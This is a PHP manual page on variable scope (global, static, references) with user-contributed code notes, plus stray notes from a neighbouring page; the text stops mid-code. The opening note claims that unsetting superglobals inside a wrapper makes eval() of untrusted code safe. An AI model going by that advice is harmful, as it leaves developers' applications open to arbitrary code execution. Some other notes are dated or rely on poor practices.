Whenever you want to hide superglobals from use in evaluated code, wrap that eval() in an own function within which you unset() all the superglobals. The superglobals are not deleted by php in all scopes - just within that function. eg:

function safeEval($evalcode) {
    unset($GLOBALS);
    unset($_ENV);
    // unset any other superglobal...
    return eval($evalcode);
}

(This example assumes that the eval returns something with 'return')

In addition, by defining such a function outside classes, in the global scope, you'll make sure as well that the evaluated ('unsafe') code doesn't have access to the object variables ($this-> ...).
08-Jul-2002 01:46
Wouldn't it be great if there was a variable called $_SERVER["PATH_USERHOME"]. Here is how to set it yourself:

$path_fs = split ("/", ltrim ($_SERVER["PATH_TRANSLATED"], "/"));
$path_fs_rev = array_reverse ($path_fs);

$path_http = split ("/", ltrim ($_SERVER["PHP_SELF"], "/"));
$path_http_rev = array_reverse ($path_http);

$num_same = 0;
while ($path_fs_rev[$num_same] == $path_http_rev[$num_same]) {
    $num_same++;
}

$path_userhome = array ();
$numdirs_userhome = sizeof ($path_http) - $num_same;
echo $numdirs_userhome;

for ($i = 0; $i < $numdirs_userhome; $i++) {
    array_push ($path_userhome, $path_http[$i]);
}

$_SERVER["PATH_USERHOME"] = "/" . implode ("/", $path_userhome) . "/";

print_r ($_SERVER["PATH_USERHOME"]);

;) Happy programming,

Peder
juancri at TAGnet dot org 31-May-2002 08:52
If you try this:

<FORM action="hola">
  ....
</FORM>

and hola is a directory, you have to write the final slash (/) because the page is redirected from hola to hola/ and you'll lost the POST variables.
admin at SexDev dot com 25-Apr-2002 01:17
The problem with empty HTTP_X_FORWARDED_FOR is because of anonymous proxy servers:

Anonymous - HTTP Proxy server does not send HTTP_X_FORWARDED_FOR variable to host, this improves privacy since your IP address cannot be logged.

High anonymity - HTTP Servers of this type don�t send HTTP_X_FORWARDED_FOR, HTTP_VIA and HTTP_PROXY_CONNECTION variables. Host doesn�t even know you are using proxy server an of course it doesn�t know your IP address.
rick@independence,netI 23-Jul-2001 06:13
It should be noted that $HTTP_RAW_POST_DATA only exists if the encoding type of the data is -not- the default of application/x-www.form-urlencoded, and so, to accessing raw post data from an HTTP form requires setting enctype= in your HTML.
mike at dbeat dot com 22-Nov-2000 06:30
If you're running PHP as a shell script, and you want to use the argv and argc arrays to get command-line arguments, make sure you have register_argc_argv  =  on.  If you're using the 'optimized' php.ini, this defaults to off.
Basics
Variable scope
Variables


Variable scope

The scope of a variable is the context within which it is defined. For the most part all PHP variables only have a single scope. This single scope spans included and required files as well. For example:

<?php
$a = 1;
include 'b.inc';
?>

Here the $a variable will be available within the included b.inc script. However, within user-defined functions a local function scope is introduced. Any variable used inside a function is by default limited to the local function scope. For example:

<?php
$a = 1; /* global scope */

function test()
{
    echo $a; /* reference to local scope variable */
}

test();
?>

This script will not produce any output because the echo statement refers to a local version of the $a variable, and it has not been assigned a value within this scope. You may notice that this is a little bit different from the C language in that global variables in C are automatically available to functions unless specifically overridden by a local definition. This can cause some problems in that people may inadvertently change a global variable. In PHP global variables must be declared global inside a function if they are going to be used in that function.

The global keyword

First, an example use of global:

Example #1 Using global

<?php
$a = 1;
$b = 2;

function Sum()
{
    global $a, $b;

    $b = $a + $b;
}

Sum();
echo $b;
?>

The above script will output 3. By declaring $a and $b global within the function, all references to either variable will refer to the global version. There is no limit to the number of global variables that can be manipulated by a function.

A second way to access variables from the global scope is to use the special PHP-defined $GLOBALS array. The previous example can be rewritten as:

Example #2 Using $GLOBALS instead of global

<?php
$a = 1;
$b = 2;

function Sum()
{
    $GLOBALS['b'] = $GLOBALS['a'] + $GLOBALS['b'];
}

Sum();
echo $b;
?>

The $GLOBALS array is an associative array with the name of the global variable being the key and the contents of that variable being the value of the array element. Notice how $GLOBALS exists in any scope, this is because $GLOBALS is a superglobal. Here's an example demonstrating the power of superglobals:

Example #3 Example demonstrating superglobals and scope

<?php
function test_global()
{
    // Most predefined variables aren't "super" and require
    // 'global' to be available to the functions local scope.
    global $HTTP_POST_VARS;

    echo $HTTP_POST_VARS['name'];

    // Superglobals are available in any scope and do
    // not require 'global'. Superglobals are available
    // as of PHP 4.1.0, and HTTP_POST_VARS is now
    // deemed deprecated.
    echo $_POST['name'];
}
?>

Note:

Using global keyword outside a function is not an error. It can be used if the file is included from inside a function.

Using static variables

Another important feature of variable scoping is the static variable. A static variable exists only in a local function scope, but it does not lose its value when program execution leaves this scope. Consider the following example:

Example #4 Example demonstrating need for static variables

<?php
function test()
{
    $a = 0;
    echo $a;
    $a++;
}
?>

This function is quite useless since every time it is called it sets $a to 0 and prints 0. The $a++ which increments the variable serves no purpose since as soon as the function exits the $a variable disappears. To make a useful counting function which will not lose track of the current count, the $a variable is declared static:

Example #5 Example use of static variables

<?php
function test()
{
    static $a = 0;
    echo $a;
    $a++;
}
?>

Now, $a is initialized only in first call of function and every time the test() function is called it will print the value of $a and increment it.

Static variables also provide one way to deal with recursive functions. A recursive function is one which calls itself. Care must be taken when writing a recursive function because it is possible to make it recurse indefinitely. You must make sure you have an adequate way of terminating the recursion. The following simple function recursively counts to 10, using the static variable $count to know when to stop:

Example #6 Static variables with recursive functions

<?php
function test()
{
    static $count = 0;

    $count++;
    echo $count;
    if ($count < 10) {
        test();
    }
    $count--;
}
?>

Note:

Static variables may be declared as seen in the examples above. Trying to assign values to these variables which are the result of expressions will cause a parse error.

Example #7 Declaring static variables

<?php
function foo(){
    static $int = 0;          // correct
    static $int = 1+2;        // wrong  (as it is an expression)
    static $int = sqrt(121);  // wrong  (as it is an expression too)

    $int++;
    echo $int;
}
?>

Note:

Static declarations are resolved in compile-time.

Note:

Using global keyword outside a function is not an error. It can be used if the file is included from inside a function.

References with global and static variables

The Zend Engine 1, driving PHP 4, implements the static and global modifier for variables in terms of references. For example, a true global variable imported inside a function scope with the global statement actually creates a reference to the global variable. This can lead to unexpected behaviour which the following example addresses:

<?php
function test_global_ref() {
    global $obj;
    $obj = &new stdclass;
}

function test_global_noref() {
    global $obj;
    $obj = new stdclass;
}

test_global_ref();
var_dump($obj);
test_global_noref();
var_dump($obj);
?>

The above example will output:

NULL
object(stdClass)(0) {
}

A similar behaviour applies to the static statement. References are not stored statically:

<?php
function &get_instance_ref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        // Assign a reference to the static variable
        $obj = &new stdclass;
    }
    $obj->property++;
    return $obj;
}

function &get_instance_noref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        // Assign the object to the static variable
        $obj = new stdclass;
    }
    $obj->property++;
    return $obj;
}

$obj1 = get_instance_ref();
$still_obj1 = get_instance_ref();
echo "\n";
$obj2 = get_instance_noref();
$still_obj2 = get_instance_noref();
?>

The above example will output:

Static object: NULL
Static object: NULL

Static object: NULL
Static object: object(stdClass)(1) {
["property"]=>
int(1)
}

This example demonstrates that when assigning a reference to a static variable, it's not remembered when you call the &get_instance_ref() function a second time.

User Contributed Notes

sideshowAnthony at googlemail dot com 17-Oct-2011 02:04
It can be nice to use static variables in class member functions.
This avoids a 'class global' like $this->template.
Also, I like the system of get and set using the same function.

<?php

class my_page
{
    public function template($name=null)
    {
        static $template = 'templates/page.html';
        if ($name) $template = "templates/{$name}.html";
        else return $template;
    }
}

$p = new my_page;
$p->template('product');
include $p->template();

?>
dodothedreamer at gmail dot com 25-Sep-2011 11:56
Note that unlike Java and C++, variables declared inside blocks such as loops or if's, will also be recognized and accessible outside of the block, so:
<?php
for($j=0; $j<3; $j++)
{
     if($j == 1)
        $a = 4;
}
echo $a;
?>

Would print 4.
dr_dazzit at yahoo dot co dot uk 20-Sep-2011 02:33
Functions are always global. I've had fun and games in the past with the global keyword with nested functions. So for teleporting variables between functions I've occasionally adopted this simple method.

<?php
function &teleport($vars = null){
  static $toSave = array();
  if($vars){
    foreach($vars as $k=>&$v)
      $toSave[$k] = $v;
  }
  return($toSave);
}

function myFuncA(){
  extract(teleport(),EXTR_REFS);
  $a = array('a'=>1,'b'=>2);
  $b = "An arbitrary value of no consequence\n";
  teleport(array('a'=>$a,'b'=>$b));
}
function myFuncB(){
  extract(teleport(),EXTR_REFS);
  $b = "Now this is of Consequence\n";
  $c = "Another of Consequence\n";
  teleport(array('c'=>$c));
}
function myFuncC(){
  extract(teleport(),EXTR_REFS);
  // $a,$b,$c are now in current scope
  print_r(get_defined_vars());
  print_r($a);
  echo($b);
  echo($c);
}

myFuncA();
myFuncB();

myFuncC();
?>

Purists might shout something about "USE A CLASS" etc...
Maybe but sometimes you might not want to or need to.
pyc 19-Apr-2011 04:57
My experience is that global keyword must be used both in function and outside
travesty3 at gmail dot com 05-Jan-2011 03:39
I was struggling forever to figure this out and finally tried the $GLOBALS["filename"] = $filename approach, and it worked for me.

This happens on one of my machines, on which I installed Zend AMF a few months before my most recent machine. The globals worked fine when calling the PHP script directly from a browser, but when I called the function from my Flash project, which uses Zend AMF to interface with the PHP script, I was seeing this problem, but it was fixed using this approach.
php at keith tyler dot com 12-Nov-2010 10:37
Sometimes a variable available in global scope is not accessible via the 'global' keyword or the $GLOBALS superglobal array. I have not been able to replicate it in original code, but it occurs when a script is run under PHPUnit.

PHPUnit provides a variable "$filename" that reflects the name of the file loaded on its command line. This is available in global scope, but not in object scope. For example, the following phpUnit script (call it GlobalScope.php):

<?php
print "Global scope FILENAME [$filename]\n";
class MyTestClass extends PHPUnit_Framework_TestCase {
  function testMyTest() {
    global $filename;
    print "Method scope global FILENAME [$filename]\n";
    print "Method scope GLOBALS[FILENAME] [".$GLOBALS["filename"]."]\n";
  }
}
?>

If you run this script via "phpunit GlobalScope.php", you will get:

Global scope FILENAME [/home/ktyler/GlobalScope.php]
PHPUnit 3.4.5 by Sebastian Bergmann.

Method scope global FILENAME []
Method scope GLOBALS[FILENAME] []
.

You have to -- strange as it seems -- do the following:

<?php
$GLOBALS["filename"]=$filename;
print "Global scope FILENAME [$filename]\n";
class MyTestClass extends PHPUnit_Framework_TestCase {
  function testMyTest() {
    global $filename;
    print "Method scope global FILENAME [$filename]\n";
    print "Method scope GLOBALS[FILENAME] [".$GLOBALS["filename"]."]\n";
  }
}
?>

By doing this, both "global" and $GLOBALS work!

I don't know what it is that PHPUnit does (I know it uses Reflection) that causes a globally available variable to be implicitly unavailable via "global" or $GLOBALS. But there it is.
eduardo dot ferron at zeion dot net 07-Oct-2010 06:02
There're times when global variables comes in handy, like universal read only resources you just need to create once in your application and share to the rest of your scripts. But it may become quite hard to track with "variables".
carlos dot garciadm at gmail dot com 23-Sep-2010 09:06
If you will work with a lot of global variables, using extract($GLOBALS) has some problems if you will modify the global variables inside a function:

Example:
<?php

$a = 1;

function foo() {
  extract($GLOBALS);
  $a = 5;

}

foo();
print $a; // will print "1" instead of "5"
?>

The problem here is that when doing extract you are only getting the values of all globals in that moment, if you modify a variable, only the local variable will be modified. So you will need to use global $a .

This is what I did in a script using a lot of global variables, please note that this is the case of 20 or 30 variables. Using global would be a real pain, and I didn't want to use objects.

<?php

$a = 1;

function globals(){
    $vars = array();
    foreach($GLOBALS as $k => $v){
        $vars[] = "$".$k;
    }
    return "global ".  join(",", $vars).";";
}
function foo(){
   eval(globals()); // just insert this line at the beggining of each function
   $a = 5;
}

foo();
print $a; // will print "5"

?>

Carlos Dubus
Anonymous 31-Jul-2010 04:48
You can use the global function to use variables in classes when included. This means you can have a file such as "MainSettings.php" (Similar to MediaWiki's localsettings) with DB info, etc.

<?php
require("MainSettings.php");

class Foo {
    function Bar() {
        global $testVariable;
        return $testVariable;
    }
}
?>

MainSettings.php:

<?php
$testVariable = "This works!";
?>

Without the global you would get a E_NOTICE saying that $testVariable is undefined.
pedro at worcel dot com 26-Jul-2010 06:34
Another way of working with a large ammount of global variables could be the following.

<?php

$var = "3";
$smarty = new Smarty();

function headers_set_404() {
extract($globals);

echo $var . "<br />";
print_r($smarty);

return;

}

?>

Regards,
Droope
HOSSEIN doesn&#39;t want spam at TAKI.IR 09-Jul-2010 12:26
Please note for using global variable in child functions:

This won't work correctly...

<?php
function foo(){
    $f_a = 'a';

    function bar(){
        global $f_a;
        echo '"f_a" in BAR is: ' . $f_a . '<br />';  // doesn't work, var is empty!
    }

    bar();
    echo '"f_a" in FOO is: ' . $f_a . '<br />';
}
?>

This will...

<?php
function foo(){
    global $f_a;   // <- Notice to this
    $f_a = 'a';

    function bar(){
        global $f_a;
        echo '"f_a" in BAR is: ' . $f_a . '<br />';  // work!, var is 'a'
    }

    bar();
    echo '"f_a" in FOO is: ' . $f_a . '<br />';
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 24-Jun-2010 02:59
If you use __autoload function to load classes' definitons, beware that "static local variables are resolved at compile time" (whatever it really means) and the order in which autoloads occur may impact the semantic.

For example if you have:
<?php
class Singleton{
  static public function get_instance(){
     static $instance = null;
     if($instance === null){
        $instance = new static();
     }
     return $instance;
  }
}
?>

and two separate files A.php and B.php:
class A extends Singleton{}
class B extends A{}

then depending on the order in which you access those two classes, and consequently, the order in which __autoload includes them, you can get strange results of calling B::get_instance() and A::get_instance().

It seems that static local variables are alocated in as many copies as there are classes that inherit a method at the time of inclusion of parsing Singleton.
moraesdno at gmail dot com 25-Oct-2009 05:17
Use the superglobal array $GLOBALS is faster than the global keyword. See:

<?php
//Using the keyword global
$a=1;
$b=2;
function sum() {
    global $a, $b;
    $a += $b;
}

 $t = microtime(true);
 for($i=0; $i<1000; $i++) {
     sum();
 }
 echo microtime(true)-$t;
 echo " -- ".$a."<br>";

//Using the superglobal array
$a=1;
$b=2;
function sum2() {
    $GLOBALS['a'] += $GLOBALS['b'];
}

  $t = microtime(true);
 for($i=0; $i<1000; $i++) {
     sum2();
 }
 echo microtime(true)-$t;
 echo " -- ".$a."<br>";
?>
Stephen Dewey 12-Aug-2009 08:06
For nested functions:

This is probably obvious to most people, but global always refers to the variable in the global (top level) variable of that name, not just a variable in a higher-level scope. So this will not work:
<?php

// $var1 is not declared in the global scope

function a($var1){

    function b(){
        global $var1;
        echo $var1; // there is no var1 in the global scope so nothing to echo

    }

    b();
}

a('hello');

?>
akam at akameng dot com 12-Jul-2009 07:39
Many Times Globality of variables will be the small issue, after long time I decided to use super globals.

Super globals exists any where:
$_SERVER, $_GET, $_POST .....

Now for example:

<?php
$foo[] = range(0, 3);
$_POST['foo'] = $foo;
a(); //no parameters needed.
b();
$foo = $_POST['foo'];

Print_r($foo);
/* out

Array
(
    [0] => Array
        (
            [0] => 0
            [1] => 1
            [2] => 2
            [3] => 3
        )

    [1] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
            [3] => 7
        )

    [2] => Array
        (
            [0] => 8
            [1] => 9
            [2] => 10
        )

)

*/
function a(){
    $_POST['foo'][] = range(4, 7);
}

function b(){
$_POST['foo'][] = range(8, 10);
}
?>
Note: the key must not be passed by the page via _POST method by the form, else the value will be over written
emartin at sigb dot net 03-Jul-2009 07:32
If you are used to include files which declare global variables, and if you now need to include these files in a function, you will see that those globals are declared in the function's scope and so they will be lost at the end of the function.

You may use something like this to solve this problem:

main_file.php :
<?php

//Some innocent variables which exist before the problem
$a = 42;
$b = 33;
$c = 56;

function some_function() {
    //Some variables that we don't want out of the function
    $saucisse = "saucisse";
    $jambon = "jambon";

    //Let's include another file
    $evalt = "require_once 'anothertest_include.php';";
    $before_eval_vars = get_defined_vars();
    eval($evalt);

    //Let's extract the variables that were defined AFTER the call to 'eval'
    $function_variable_names = array("function_variable_names" => 0, "before_eval_vars" => 0, "created" => 0);
    //We can generate a list of the newly created variables by substracting the list of the variables of the function and the list of the variables which existed before the call to the list of current variables at this point
    $created = array_diff_key(get_defined_vars(), $GLOBALS, $function_variable_names, $before_eval_vars);
    //Now we globalize them
    foreach ($created as $created_name => $on_sen_fiche)
        global $$created_name;
    //And we affect them
    extract($created);

}

some_function();
print_r(get_defined_vars());

?>

included_file.php :
<?php

//Some variables that we want in the global scope of main_file.php
$included_var_one = 123;
$included_var_two = 465;
$included_var_three = 789;

?>
Leigh Harrison 26-Mar-2009 10:31
External variables in a function

I needed to access dynamically-created variables from an included file within a helper function. Because the list of $path_* variables I needed to access from the other file is itself dynamic, I didn't want to have to declare all possible variables within the function, and I was concerned at the overhead of declaring =all= members of $GLOBALS[] as global. However the following code worked for me:

<?php
  function makePath($root, $atom) {
    $pos = strrpos($atom, '/');
    if ($pos === false) {
      global ${'path_'.$atom};
      $path = ${'path_'.$atom};
    }
    else {
      global ${'path_'.substr($atom, 0, $pos)};
      $path = ${'path_'.substr($atom, 0, $pos)};
    }
    if ($path)
      return ($pos === false)
        ? $root.$path
        : $root.$path.substr($atom, $pos + 1);
    else
      return NULL;
  }
?>

Regards,

::Leigh
andrew at planetubh dot com 03-Feb-2009 12:16
Took me longer than I expected to figure this out, and thought others might find it useful.

I created a function (safeinclude), which I use to include files; it does processing before the file is actually included (determine full path, check it exists, etc).

Problem: Because the include was occurring inside the function, all of the variables inside the included file were inheriting the variable scope of the function; since the included files may or may not require global variables that are declared else where, it creates a problem.

Most places (including here) seem to address this issue by something such as:
<?php
//declare this before include
global $myVar;
//or declare this inside the include file
$nowglobal = $GLOBALS['myVar'];
?>

But, to make this work in this situation (where a standard PHP file is included within a function, being called from another PHP script; where it is important to have access to whatever global variables there may be)... it is not practical to employ the above method for EVERY variable in every PHP file being included by 'safeinclude', nor is it practical to staticly name every possible variable in the "global $this" approach. (namely because the code is modulized, and 'safeinclude' is meant to be generic)

My solution: Thus, to make all my global variables available to the files included with my safeinclude function, I had to add the following code to my safeinclude function (before variables are used or file is included)

<?php
foreach ($GLOBALS as $key => $val) { global $$key; }
?>

Thus, complete code looks something like the following (very basic model):

<?php
function safeinclude($filename)
{
    //This line takes all the global variables, and sets their scope within the function:
    foreach ($GLOBALS as $key => $val) { global $$key; }
    /* Pre-Processing here: validate filename input, determine full path
        of file, check that file exists, etc. This is obviously not
        necessary, but steps I found useful. */
    if ($exists==true) { include("$file"); }
    return $exists;
}
?>

In the above, 'exists' & 'file' are determined in the pre-processing. File is the full server path to the file, and exists is set to true if the file exists. This basic model can be expanded of course.  In my own, I added additional optional parameters so that I can call safeinclude to see if a file exists without actually including it (to take advantage of my path/etc preprocessing, verses just calling the file exists function).

Pretty simple approach that I could not find anywhere online; only other approach I could find was using PHP's eval().
nullhility at gmail dot com 29-Jan-2009 07:17
Like functions, if you declare a variable in a class, then set it as global in that class, its value will not be retained outside of that class either.

<?php
class global_reference
{
    public $val;

    public function __construct () {
        global $var;
        $this->val = $var;
    }

    public function dump_it ()
    {
        debug_zval_dump($this->val);
    }

    public function type_cast ()
    {
        $this->val = (int) $this->val;
    }
}
$var = "x";
$obj = new global_reference();
$obj->dump_it();
$obj->type_cast();
echo "after change ";
$obj->dump_it();
echo "original $var\n";
?>

The work-around is of course changing the assignment in the constructor to a reference assignment as such:

<?php
    //....
        $this->val = &var;
    //....
?>

If the global you're setting is an object then no reference is necessary because of the way PHP deals with objects. If you don't want to reference to the same object however you can use the clone keyword.

<?php
//...
    global $Obj;
    $this->obj_copy = clone $Obj;
//...
?>

[EDIT BY danbrown AT php DOT net:  Merged all thoughts and notes by this author into a single note.]
ddarjany at yahoo dot com 19-Aug-2008 08:15
Note that if you declare a variable in a function, then set it as global in that function, its value will not be retained outside of that function.  This was tripping me up for a while so I thought it would be worth noting.

<?PHP

foo();
echo $a; // echoes nothing

bar();
echo $b; //echoes "b";

function foo() {
  $a = "a";
  global $a;
}

function bar() {
  global $b;
  $b = "b";
}

?>
lgrk 28-May-2008 06:41
Useful function:
<?php
function cycle($a, $b, $i=0) {
    static $switches = array();
    if (isset($switches[$i])) $switches[$i] = !$switches[$i]; else !$switches[$i] = true;
    return ($switches[$i])?$a:$b;
}
?>

Exeample

<?php
for ($i = 1; $i<3; $i++) {
    echo $i.cycle('a', 'b').PHP_EOL;
    for ($j = 1; $j<5; $j++) {
        echo ' '.$j.cycle('a', 'b', 1).PHP_EOL;
        for ($k = 1; $k<3; $k++) {
            echo '  '.$k.cycle('c', 'd', 2).PHP_EOL;
        }
    }
}
/**
Output:
1a
 1a
  1c
  2d
 2b
  1c
  2d
 3a
  1c
  2d
 4b
  1c
  2d
2b
 1a
  1c
  2d
 2b
  1c
  2d
 3a
  1c
  2d
 4b
  1c
  2d
*/

?>
Thomas 04-Mar-2008 02:06
It might be worth noting in the article that you shouldn't define magic values at global level and use "global" to access them in a function - like I did in the past few years.

Use define() instead.
Anonymous 01-Mar-2008 11:10
I was pondering a little something regarding caching classes within a function in order to prevent the need to initiate them multiple times and not clutter the caching function's class properties with more values.

I came here because I remembered something about references being lost. So I made a test to see if I could pull what I wanted to off anyway. Here's and example of how to get around the references lost issue. I hope it is helpful to someone else!

<?php
class test1{}
class test2{}
class test3{}

function cache( $class )
{
    static $loaders = array();

    $loaders[ $class ] = new $class();

    var_dump( $loaders );
}
print '<pre>';
cache( 'test1' );
cache( 'test2' );
cache( 'test3' );

?>
SID TRIVEDI 27-Oct-2007 02:46
<?php
/*
VARIABLE SCOPE : GLOBAL V/S STATIC

If variable $count is defined global as under, instead of static, it does not work well as desired in repeated function calls.

$count = 1; //if not defined STATIC, in each function call, it starts countig from one to 25.
global $count;

which gives folowing output:
0123456789101112131415161718192021222324
Total 24 numbers are printed.
So far 26 function call(s) made.

26272829303132333435363738394041424344454647484950
Total 50 numbers are printed.
So far 52 function call(s) made.
*/

function print_1to50()
{
//    $count = 1;
//    global $count;
    static $count=1; // Initial assigment of One to $count, static declarion holds the last(previous) value of variable $count in each next function calls.
        $limit = $count+24;
        while($count<=$limit)
        {
        echo "$count";
        $count=$count+1;
        }
        $num_count= $count-1;
        echo "<br>\n". "Total $num_count numbers are printed.<br>";

        return; // return statement without parenthesis()or arguments denotes end of a function rather than returning any values to subsequent function call(s).
} // end of while loop

$count=0;
print_1to50();
$count=$count+1;
print "So far $count function call(s) made.<br><br>";

print_1to50();
$count=$count+1;
print "So far $count function call(s) made.<br>";
/*
Which gives following output:
12345678910111213141516171819202122232425
Now I have printed 25 numbers.
I have made 1 function call(s).
26272829303132333435363738394041424344454647484950
Now I have printed 50 numbers.
I have made 2 function call(s).
*/

?>
mod 14-Mar-2007 11:03
Can not access to global variables from destructor, if obj is not unseted at the end:

<?php

  class A
   {
     function __destruct()
      {
        global $g_Obj;
        echo "<br>#step 2: ";
        var_dump($g_Obj);
      }

     function start()
      {
        global $g_Obj;
        echo "<br>#step 1: ";
        var_dump($g_Obj);
      }
   };

  $g_Obj = new A();        // start here
  $g_Obj->start();
  $g_Obj = NULL;        // !!! comment line and result will changed !!!

?>

Result, if line is not commented:

#step 1: object(A)#1 (0) { }
#step 2: object(A)#1 (0) { }

Result, if line is commented:

#step 1: object(A)#1 (0) { }
#step 2: NULL
alan 12-Sep-2006 10:53
Using the global keyword inside a function to define a variable is essentially the same as passing the variable by reference as a parameter:

<?php
somefunction(){
   global $var;
}
?>

is the same as:

<?php
somefunction(& $a) {

}
?>

The advantage to using the keyword is if you have a long list of variables  needed by the function - you dont have to pass them every time you call the function.
sami doesn't want spam at no-eff-eks com 21-Jul-2006 09:18
PHP 5.1.4 doesn't seem to care about the static keyword. It doesn't let you use $this in a static method, but you can call class methods through an instance of the class using regular -> notation. You can also call instance methods as class methods through the class itself. The documentiation here is plain wrong.

<?php
class Foo {
  public static function static_fun()
  {
    return "This is a class method!\n";
  }

  public function not_static_fun()
  {
    return "This is an instance method!\n";
  }
}

echo '<pre>';
echo "From Foo:\n";
echo Foo::static_fun();
echo Foo::not_static_fun();
echo "\n";

echo "From \$foo = new Foo():\n";
$foo = new Foo();
echo $foo->static_fun();
echo $foo->not_static_fun();
echo '</pre>';
?>

You'll see the following output:

From Foo:
This is a class method!
This is an instance method!

From $foo = new Foo():
This is a class method!
This is an instance method!
larax at o2 dot pl 22-Mar-2006 03:38
About more complex situation using global variables..

Let's say we have two files:
a.php
<?php
    function a() {
        include("b.php");
    }
    a();
?>

b.php
<?php
    $b = "something";
    function b() {
        global $b;
        $b = "something new";
    }
    b();
    echo $b;
?>

You could expect that this script will return "something new" but no, it will return "something". To make it working properly, you must add global keyword in $b definition, in above example it will be:

global $b;
$b = "something";
franp at free dot fr 10-Feb-2006 04:25
If you want to access a table row using $GLOBALS, you must do it outside string delimiters or using curl braces :

<?php
$siteParams["siteName"] = "myweb";

function foo() {
$table = $GLOBALS["siteParams"]["siteName"]."articles";  // OK
echo $table; // output  "mywebarticles"
$table = "{$GLOBALS["siteParams"]["siteName"]}articles"; // OK
echo $table; // output  "mywebarticles"
$table = "$GLOBALS[siteParams][siteName]articles";       // Not OK
echo $table; // output  "Array[siteName]article"

$result = mysql_query("UPDATE $table ...");
}
?>

Or use global :

<?php
function foo() {
global $siteParams;
$table = "$siteParams[siteName]articles";         // OK
echo $table; // output  "mywebarticles"

$result = mysql_query("UPDATE $table ...");
}
?>
marcin 30-Dec-2005 09:07
Sometimes in PHP 4 you need static variabiles in class. You can do it by referencing static variable in constructor to the class variable:

<?php
class test  {

   var $var;
   var $static_var;
    function test()
    {
        static $s;
        $this->static_var =& $s;
    }

}

 $a=new test();

 $a->static_var=4;
 $a->var=4;

 $b=new test();

 echo $b->static_var; //this will output 4
 echo $b->var; //this will output nul
?>
warhog at warhog dot net 13-Dec-2005 12:22
Some interesting behavior (tested with PHP5), using the static-scope-keyword inside of class-methods.

<?php

class sample_class
{
  public function func_having_static_var($x = NULL)
  {
    static $var = 0;
    if ($x === NULL)
    { return $var; }
    $var = $x;
  }
}

$a = new sample_class();
$b = new sample_class();

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output (as expected):
//  0
//  0

$a->func_having_static_var(3);

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output:
//  3
//  3
// maybe you expected:
//  3
//  0

?>

One could expect "3 0" to be outputted, as you might think that $a->func_having_static_var(3); only alters the value of the static $var of the function "in" $a - but as the name says, these are class-methods. Having an object is just a collection of properties, the functions remain at the class. So if you declare a variable as static inside a function, it's static for the whole class and all of its instances, not for each object.

Maybe it's senseless to post that.. cause if you want to have the behaviour that I expected, you can simply use a variable of the object itself:

<?php
class sample_class
{ protected $var = 0;
  function func($x = NULL)
  { $this->var = $x; }
} ?>

I believe that all normal-thinking people would never even try to make this work with the static-keyword, for those who try (like me), this note maybe helpfull.
tc underline at gmx TLD ch 14-Sep-2005 03:06
Pay attention while unsetting variables inside functions:

<?php
$a = "1234";
echo "<pre>";
echo "outer: $a\n";
function testa()
{
    global $a;
    echo "   inner testa: $a\n";
    unset ($a);
    echo "   inner testa: $a\n";
}
function testb()
{
    global $a;
    echo "   inner testb: $a\n";
    $a = null;
    echo "   inner testb: $a\n";
}
testa();
echo "outer: $a\n";
testb();
echo "outer: $a\n";
echo "</pre>";
?>

/***** Result:
outer: 1234
   inner testa: 1234
   inner testa:
outer: 1234
   inner testb: 1234
   inner testb:
outer:
******/

Took me 1 hour to find out why my variable was still there after unsetting it ...

Thomas Candrian
thomas at pixtur dot de 08-Aug-2005 08:02
Be careful with "require", "require_once" and "include" inside functions. Even if the included file seems to define global variables, they might not be defined as such.

consider those two files:

---index.php------------------------------
<?php
function foo() {
 require_once("class_person.inc");

 $person= new Person();
 echo $person->my_flag; // should be true, but is undefined
}

foo();
?>

---class_person.inc----------------------------
<?php
$seems_global=true;

class Person {
  public $my_flag;

 public function  __construct() {
   global $seems_global;
   $my_flag= $seems_global
 }
}
?>

---------------------------------

The reason for this behavior is quiet obvious, once you figured it out. Sadly this might not be always as easy as in this example. A solution  would be to add the line...

<?php global $seems_global; ?>

at the beginning of "class_person.inc". That makes sure you set the global-var.

   best regards
    tom

ps: bug search time approx. 1 hour.
jameslee at cs dot nmt dot edu 16-Jun-2005 02:33
It should be noted that a static variable inside a method is static across all instances of that class, i.e., all objects of that class share the same static variable.  For example the code:

<?php
class test {
    function z() {
        static $n = 0;
        $n++;
        return $n;
    }
}

$a =& new test();
$b =& new test();
print $a->z();  // prints 1, as it should
print $b->z();  // prints 2 because $a and $b have the same $n
?>

somewhat unexpectedly prints:
1
2
kouber at php dot net 28-Apr-2005 05:36
If you need all your global variables available in a function, you can use this:

<?php
function foo() {
  extract($GLOBALS);
  // here you have all global variables

}
?>
27-Apr-2005 04:46
Be careful if your static variable is an array and you return
one of it's elements: Other than a scalar variable, elements
of an array are returned as reference (regardless if you
didn't define them to be returned by reference).

<?php
function incr(&$int) {
  return $int++;
}

function return_copyof_scalar() {
  static $v;
  if (!$v)
    $v = 1;
  return($v);
}

function return_copyof_arrayelement() {
  static $v;
  if (!$v) {
    $v = array();
    $v[0] = 1;
  }
  return($v[0]);
}

echo "scalar: ".
     incr(return_copyof_scalar()).
     incr(return_copyof_scalar()).
     "\n";
echo "arrayelement: ".
     incr(return_copyof_arrayelement()).
     incr(return_copyof_arrayelement()).
     "\n";
?>

Should print

scalar: 11
arrayelement: 11

but it prints:

scalar: 11
arrayelement: 12

as in the second case the arrays element was returned by
reference. According to a guy from the bug reports the
explanation for this behaviour should be somewhere here in
the documentation (in 'the part with title: "References with
global and static variables"'). Unfortunately I can't find
anything about that here. As the guys from the bug reports
are surely right in every case, maybe there is something
missing in the documentation. Sadly I don't have a good
explanation why this happens, so I decided to document at
least the behaviour.
vdephily at bluemetrix dot com 22-Apr-2005 02:51
Be carefull about nested functions :
<?php
// won't work :
function foo1()
{
  $who = "world";
  function bar1()
  {
    global $who;
    echo "Hello $who";
  }
}

// will work :
function foo2()
{
  $GLOBALS['who'] = "world";
  function bar2()
  {
    global $who;
    echo "Hello $who";
  }
}

// also note, of course :
function foo3()
{
  $GLOBALS['who'] = "world";

  // won't work
  echo "Hello $who";

  // will work
  global $who;
  echo "Hello $who";
}
?>
pulstar at ig dot com dot br 08-Sep-2004 06:02
If you need all your global variables available in a function, you can use this:

<?php

function foo(parameters) {
